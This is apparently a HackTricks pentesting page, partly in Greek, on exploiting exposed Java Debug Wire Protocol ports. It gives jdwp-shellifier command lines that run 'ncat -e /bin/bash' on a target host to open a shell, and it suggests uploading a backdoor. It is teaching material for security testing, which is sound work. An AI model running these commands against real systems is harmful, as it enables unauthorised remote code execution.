7 KiB
Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Εκμετάλλευση
Η εκμετάλλευση του JDWP βασίζεται στην έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου. Γενικά βρίσκεται σε θύρα 8000, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχευμένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτό το handshake λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.
Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
Το εργαλείο αναφοράς είναι το jdwp-shellifier. Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
I found that the use of --break-on 'java.lang.String.indexOf'
make the exploit more σταθερό. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
More details
This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.
- JDWP Overview:
- It's a packet-based network binary protocol, primarily synchronous.
- Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.
- JDWP Handshake:
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
- JDWP Communication:
- Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
- CommandSet values range from 0x40 to 0x80, representing different actions and events.
- Exploitation:
- JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
- Real-Life Exploitation:
- Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
- The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).
- Security Implications:
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.
References:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.